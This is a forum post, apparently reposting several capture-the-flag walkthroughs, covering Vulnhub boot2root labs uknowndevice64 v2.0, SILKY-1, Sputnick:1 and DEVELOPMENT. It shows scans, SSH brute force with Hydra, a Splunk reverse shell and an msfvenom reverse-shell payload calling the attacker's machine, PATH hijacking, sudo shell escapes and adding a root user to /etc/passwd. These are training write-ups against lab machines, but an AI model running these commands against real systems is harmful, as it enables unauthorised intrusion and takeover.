Login

**NINZA** · 05-14-2020, 05:38 PM

0			0

Today we are going to take on another boot2root challenge “uknowndevice64 v2.0” by Ajay Verma. Our goal is to get root and read flag.txt with at least two different ways.
Download it from here:

[To see content please register here]

Difficulty: Beginner
Penetrating Methodology:
Scanning

Netdiscover
NMAP

Enumeration

Web Directory search
Credential harvesting

Exploiting

SSH login (1st Method)
ADB login (2nd Method)

Privilege Escalation

Exploit sudo rights

Capture the Flag
Walkthrough
Scanning:
Let’s start off by scanning the network and identifying host IPs. We can identify our host IP as 192.168.1.22 by using netdiscover. Next, we have to scan this IP using nmap.
netdiscover
nmap -p- -A 192.168.1.22
1
2
netdiscover
nmap -p- -A 192.168.1.22
The result shows that freeciv is running on port 5555, ssh is running on port 6465 and netbus is running on 12345.
[Image: 1.png?w=687]

First, we try to open the IP into browser with port 12345 we were prompted to login. So, we tried the basic credentials with different combinations and got succeeded with ‘Administrator’ as username and password as ‘password’.
[Image: 3.png?w=687]

After logging in, a webpage appeared as you can see here. But nothing of our use.
[Image: 4.png?w=687]

Then tried to access the robots.txt file. We got lucky and found a file here named ‘./info.php’ inside it.
[Image: 5.png?w=687]

When we opened this in the browser, we are prompted to download it.
[Image: 6.png?w=687]

When we open this downloaded file, we got an SSH private key inside it. So, we copied the text from “BEGIN RSA PRIVATE KEY” to “END RSA PRIVATE KEY” and saved it in a file named ‘sshkey’. Besides this key we can see “unkn0wnd3vic3-64” at the end of the file, let’s save this as of now.
[Image: 7.png?w=687]

Here first we have changed permission for the file ‘sshkey’. Then login into ssh using this file on port 6465(as ssh is running on port 6465). And we are asked to enter a passphrase for this ssh key.so we used the text “unkn0wnd3vic3-64” that we saved from info.php and it worked. After that, we switched as root user and listed the content of root.
chmod 600 sshkey
ssh -i sshkey 192.168.1.22 -p 6465
su root
ls
1
2
3
4
chmod 600 sshkey
ssh -i sshkey 192.168.1.22 -p 6465
su root
ls
We spotted a directory named ‘system’ and inside system, we found a file ‘flag.txt’. This is our flag!
[Image: 8.png?w=687]

Another way
We will be using previously gained information to save time. As we knew from Nmap scan that freeciv is running on port 5555 so tried to connect it with adb. After getting a shell, we switched to root and captured the flag (as we already knew the flag is inside flag.txt within system directory).
abd connect 192.168.1.22:5555
abd shell
su root
cat system/flag.txt
1
2
3
4
abd connect 192.168.1.22:5555
abd shell
su root
cat system/flag.txt
Finally!! The challenge is completed, and we have grabbed the flag.txt file using two different approaches.
[Image: 9.png?w=687]

Today we will be solving a boot2root lab from Vulnhub called SILKY-1. This lab, like many others, is a good way to keep your penetration testing skills sharp while getting some variety.
Download it from here:

[To see content please register here]

Level: Easy-Intermediate
Task: Boot to Root (flag.txt)
Penetration Methodologies
Scanning

Netdiscover
Nmap

Enumeration

Web Spreading
txt
Generating Password Dictionary (Crunch)

Exploit

Brute force attack (Hydra)
SSH Login

Identify SUID Enable Binaries

Privilege Escalation
Exploit PATH Variable

Capture the flag
Walkthrough
Scanning
We start by scanning the network for targets using Netdiscover.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

So we found target IP 192.168.1.106 and proceed by running a Nmap scan for all its ports to see what we can find.
nmap -A 192.168.1.106
1
nmap -A 192.168.1.106
[Image: 2.png?w=687&ssl=1]

Since port 8080 is running HTTP-proxy, so our obvious choice is to browse Target’s IP in the browser but didn’t find any hint.
[Image: 3.png?w=687&ssl=1]

Enumeration
We checked the robots.txt file for the results of nmap and showed /notes.txt as our next indication.
[Image: 4.png?w=687&ssl=1]

So, we found a text message that is written in German when we explored the notes.txt file.
[Image: 5.png?w=687&ssl=1]

With the help of Google translator, I translate the German message, which was connected to password hint:
“I absolutely have to remove the password from the page, after all, the last 2 characters are missing. But still.”
[Image: 6.png?w=687&ssl=1]

Then again, I visit the home page to view its source code and found a link for script.js
[Image: 7.png?w=687&ssl=1]

So, I found the word: s1lKy when navigating to /script.js as shown below. Hmmm!!! This word s1lKy could be the possible password as said in the above text message.
[Image: 8.png?w=687&ssl=1]

So, without wasting time I decided to generate a dictionary with the help of crunch. As per the text message last 2 characters are missing. But these 2 characters could be any combination such as alpha-alpha, alpha-ALPHA, alpha-numeric, alpha-special character or vice-versa and so on.
And after spending almost one-an-hour I successfully found the valid combination for ssh login as port 22 is opened.
crunch 7 7 -t s1lky^% >> pass.txt
1
crunch 7 7 -t s1lky^% >> pass.txt
[Image: 9.png?w=687&ssl=1]

Exploit
Assuming username could be silky, and password could be in pass.txt, I lunched brute force attack using hydra on port 22 for identifying the valid combination of ssh login.
hydra -l silky -P pass.txt 192.168.1.106 ssh
1
hydra -l silky -P pass.txt 192.168.1.106 ssh
[Image: 10.png?w=687&ssl=1]

Since we found silky Confused

1lky#5 as username and password for ssh login, now it was time to access ssh shell and escalated the root privilege to capture the flag.
ssh [email protected]
1
ssh [email protected]
Once I logged in successfully than without wasting much time, I looked for SUID enabled binaries and here /usr/bin/sky looks interesting.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Although when I run this program it shown “root” in its output as a result along with some German text. To analysis its result I try to inspect the program script with the help of strings which a command line utility to identify the file type.
stings /usr/bin/sky
1
stings /usr/bin/sky
Hmm!! the information I found through strings was that this program is executing to commands simultaneously. First, echo command to show the German text message and another whoami.
[Image: 11.png?w=687&ssl=1]

Privilege Escalation
To escalated root privilege, we can abuse PATH Variable as shown below and for more detail read the complete article from

[To see content please register here]

.
echo '/bin/sh' > whoami
chmod 777 whoami
export PATH=/tmp:$PATH
/usr/bin/sky
1
2
3
4
echo '/bin/sh' > whoami
chmod 777 whoami
export PATH=/tmp:$PATH
/usr/bin/sky
OKAY!! We got another shell which is a root shell as shown below, let’s now grab the flag.txt file and complete the challenge.
id
cd /root
flag.txt
1
2
3
id
cd /root
flag.txt
[Image: 12.png?w=687&ssl=1]

Today we will be solving a boot2root lab from Vulnhub called Sputnick:1. This lab, like many others, is a good way to keep your penetration testing skills sharp while getting some variety.
Level: Easy
Task: To find flag.txt
Table of Content
Scanning

Open ports and Running services (Nmap)

Enumeration

Web Directory search
Credential harvesting

Exploitation

Splunk reverse and bind shell
Python reverse shell
Accessing shell

Privilege Escalation

Capture flag.txt

Scanning
We start by scanning the network for targets using Netdiscover
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

So we found target IP 192.168.1.103 and proceed by running a Nmap scan for all its ports to see what we can find.
nmap -p- -A 192.168.1.103
1
nmap -p- -A 192.168.1.103
[Image: 2.png?w=687&ssl=1]

Enumeration
The scan shows us we have port 8089, 8191, 55555 and 61337 open. Port 55555 has an associated IP address and a directory link for git repository; we investigate it to see what we can find. We copy and paste it into our browser.
[Image: 3.1.png?w=687&ssl=1]

We access the “Logs” directory and click on the “HEAD” file within.
[Image: 3.png?w=687&ssl=1]

There is a link for a Git page, we go to the link and find Flappy. Git clone is used to clone and download the file to our system for further investigation.
Once the file in downloaded we explore its contents but nothing stands out, so we access their logs.
git clone

[To see content please register here]

git log
1
2
git clone

[To see content please register here]

git log

We see that the command gave us the logs for our file and the search starts. We focus on the commit’s and start searching through them.
Finally, we come across the highlighted commit and strike gold!
[Image: 5.png?w=687&ssl=1]

We use the “ls-tree” to get an indented listing of the file.
The screenshot shows a file named “secret”; we used the git show command on its string to see what is reveals
git ls-tree 07fda135aae22fa7869b3de9e450ff7cacfbc717
git show f4385198ce1cab56e0b2a1c55e8863040045b085
1
2
git ls-tree 07fda135aae22fa7869b3de9e450ff7cacfbc717
git show f4385198ce1cab56e0b2a1c55e8863040045b085
[Image: 6.png?w=687&ssl=1]

Now, what could this be? We recalled seeing a Splunk service running on port 61337, we accessed it on our browser to find a login screen for Splunk.
192.168.1.103:61337
1
192.168.1.103:61337
[Image: 7.png?w=687&ssl=1]

Exploitation (Splunk)
The information we got earlier from the previous screenshot is in fact login credentials. The username is “sputnik” and the password is “ameer_says_thank_you_and_god_job”, we enter these and are able to get into the Splunk account.
We looked around for a while and then decided to upload a shell to the account. On searching, we found a way to weaponize Splunk with reverse and bind shell from

[To see content please register here]

The .gz file from the link was saved on our system, we navigate to the “App: Search & Reporting” option and click on “Search & Reporting”
[Image: 8.png?w=687&ssl=1]

Click on the “Install app from file” option.
[Image: 9.png?w=687&ssl=1]

Using the browse option, we find our shell, select it and upload it.
[Image: 10.1.png?w=687&ssl=1]

Click on the “Restart Now” to restart the application.
[Image: 10.2.png?w=687&ssl=1]

We scroll down to find our shell file as shown below. Before we can run, it we need to click on the “Permissions” option to change its permissions.
[Image: 10.png?w=687&ssl=1]

Configuration files need to be added in order to run the shell successfully, here we set permission to everyone and at the bottom, we click on the “All apps” radio button and save this change.
[Image: 11.png?w=687&ssl=1]

Now to execute the shell. We navigate to the search option in Splunk and type in our command defining that we want a reverse shell of standard type to talk to out attach machines IP on the listening port.
| revshell std 192.168.1.110 1234
1
| revshell std 192.168.1.110 1234
[Image: 12.png?w=687&ssl=1]

Access Victim’s Shell
Netcat is running on our machine listening on port 1234 and see shell talking back.
The “id” command was used to no avail so we decided to step it up a notch.
nc -lvp 1234
1
nc -lvp 1234
[Image: 13.png?w=687&ssl=1]

We used Msfvenom to create a python payload.
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.110 lport=4444 R
1
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.110 lport=4444 R
[Image: 14.png?w=687&ssl=1]

The payload is uploaded through our existing Netcat session, all that needed to be done was the payload to be pasted into the terminal and executed.
nc -lvp 1234
1
nc -lvp 1234
[Image: 15.png?w=687&ssl=1]

A new Netcat session is started on the port (4444) that we defined in our payload and we see the execution occur flawlessly.
Privilege Escalation
We run the “id” command to see that our user is “splunk”.
Time privilege escalation. On the splunk prompt, we first run the “sudo -l” command and enter the password that we used earlier to log into Splunk “ameer_says_thank_you_and_good_job” where we found splunk user can ed as root.
So close to root! Now, all we have to do is run the “sudo ed” command and then the “!/bin/sh” command. Type in “id” and there you go! We have root!
id
sudo -l
ameer_says_thank_you_and_good_job
sudo ed
!/bin/sh
1
2
3
4
5
id
sudo -l
ameer_says_thank_you_and_good_job
sudo ed
!/bin/sh
[Image: 16.png?w=687&ssl=1]

Time to look for our flag.
We look in the root directory to find “flag.txt” and use “cat” to open it. Hooray for us!
As always, we at Hacking Articles hope you enjoy this lab and share it with your collogues. This lab has a great feature that gives you an insight into exploiting Splunk. Overall the lab is easy and the level of frustration it might induce is minimal.
Have fun and stay ethical.
[Image: 17.png?w=687&ssl=1]

Today we are going to take on another challenge known as “DEVELOPMENT”. This is designed for OSCP practice, and the original version of the machine was used for a CTF. It is now revived and made
slightly more nefarious than the original. The author of this VM machine is “Donavan”. Our goal is to get the flag to complete the challenge.
Download it from here:

[To see content please register here]

Security Level: Intermediate
Penetrating Methodology:
Scanning

Netdiscover
NMAP

Enumeration

Run http service
Web spidering

Exploiting

Remote File Inclusion
Ssh login

Privilege Escalation

Exploit sudo rights
adding new user

Capture the Flag
Walkthrough
Scanning:
Let’s start off by scanning the network and identifying host IPs. As illustrated below, we can identify our host IP as 192.168.1.104.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Time to scan the Target’s IP with Nmap.
nmap -sV 192.168.1.104
1
nmap -sV 192.168.1.104
We can clearly see from screenshot a few open ports e.g. 22(ssh),139(NetBIOS-ssn), 445(NetBIOS-ssn), 8080(http-proxy).
[Image: 2.png?w=687&ssl=1]

Enumeration
Since port 8080 is running HTTP-proxy, so our obvious choice is to browse Target’s IP in the browser. Here we got a clue about some html_pages. It could either be any Directory or a webpage.
[Image: 3.png?w=687&ssl=1]

So, let’s dig into the source code if we can find something useful. Here they are talking about some Development secret page and Patrick is being mentioned, he could be a user:
[Image: 4.png?w=687&ssl=1]

Now moving ahead lets surf through the webpage mentioned earlier which is html_pages. Here again, we can see a few html files in which “development.html” could be of our interest.
[Image: 5.png?w=687&ssl=1]

When you visit development.html, you can find a mention of “hackersecretpage” nothing else seems useful.
[Image: 6.png?w=687&ssl=1]

Again we went through the source code of the same and found “./developmentsecretpage” .This seems our secret page.
[Image: 7.png?w=687&ssl=1]

If you visit the page, it is confirming to be the Development secret page and a PHP file link named ‘Patrick’.
[Image: 8.png?w=687&ssl=1]

If we visit the file link it opens a page with another file included in it named ‘Sitemap’.
[Image: 9.png?w=687&ssl=1]

And when we visit /sitemap.php, we clicked on the embedded link stating “Click here to logout” which turned out to be Login page.
[Image: 10.png?w=687&ssl=1]

Exploitation
We just tried random login credentials “admin” for both username and password and 1234 that’s a success.
[Image: 11.png?w=687&ssl=1]

Here we are getting a short of error message on the top of the page. So we Googled about it.
[Image: 12.png?w=687&ssl=1]

We found an exploit for the same listed on Exploit-db with the name of “/[path]/slog_users.txt” which is vulnerable to RFI. Refer CVE code: 2008-5762/63.
[Image: 13.png?w=687&ssl=1]

When we appended the slog_users.txt file with our webpage we found four users and their password hashes.
[Image: 14.png?w=687&ssl=1]

After decrypting the hashes, we got passwords in clear text for an intern, Patrick and qiu respectively but not for Admin.
[Image: 15.png?w=687&ssl=1]

Privilege Escalation
As we knew port 22 is open for ssh so here I try to login into ssh using intern and we got access of ssh as shown below. After that, we found a list of commands that are allowed to run here. Then we checklist of files using ‘ls’ as it was one of the allowed commands. We found two text files here ‘local.txt’ and ‘work.txt’ but when we try to open them, we failed.
ssh [email protected]
?
ls
cat local.txt
1
2
3
4
ssh [email protected]
?
ls
cat local.txt
Hmm! we got access of restricted shell where we can run only a few commands allowed by admin. So, to import proper tty shell, we can import ‘/bin/bash’ by using the following command:
echo os.system('/bin/bash')
cat local.txt
cat work.txt
1
2
3
echo os.system('/bin/bash')
cat local.txt
cat work.txt
Next, we try again accessing the same ‘local.txt’ file and it just shows a congratulatory message, so we moved on to work.txt, here as well it is showing we have to move further with user Patrick and we already knew Patrick’s password.
NOTE: At first attempt, you will get an error SSH connection refuse, therefore restart the Vulnerable machine to get connect with SSH.
[Image: 16.png?w=687&ssl=1]

After logging in as patrick, we check the sudo rights for him where I found Patrick has ALL Users permissions including root user to run vim and nano as shown below.
su patrick
sudo -l
1
2
su patrick
sudo -l
[Image: 17.png?w=687&ssl=1]

In another terminal in my local machine, I have generated a new encrypted password: pass123 whose salt is ignite using OpenSSL and copy the salt password.
openssl passwd -1 -salt ignite pass123
1
openssl passwd -1 -salt ignite pass123
[Image: 18.png?w=687&ssl=1]

Next, by providing sudo access to any editor(either vim or nano ) we can read as well as edit any system file which is restricted to access by any lower privilege user such as /etc/passwd file.
Since Patrick has sudo rights which means he can modify the root files too, therefore I decided to insert a new user with root privilege in the /etc/passwd file.
sudo nano /etc/passwd
1
sudo nano /etc/passwd

As you can see in the screenshot below, we have added a user ‘RAJ’ and with an encrypted password and we have given all root privileges to it as well.
raj:$1$ignite$3etbJm9809Hz.K1NTdNxe1:0:0:root:/root:/bin/bash
1
raj:$1$ignite$3etbJm9809Hz.K1NTdNxe1:0:0:root:/root:/bin/bash
[Image: 20.png?w=687&ssl=1]

Capturing the flag
What we are waiting for, lets login using raj. Hereafter listing the content we found the proof.txt file from the inside root directory. we opened it using cat and captured the flag.
su raj
ls
cat proof.txt
1
2
3
su raj
ls
cat proof.txt
[Image: 21.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis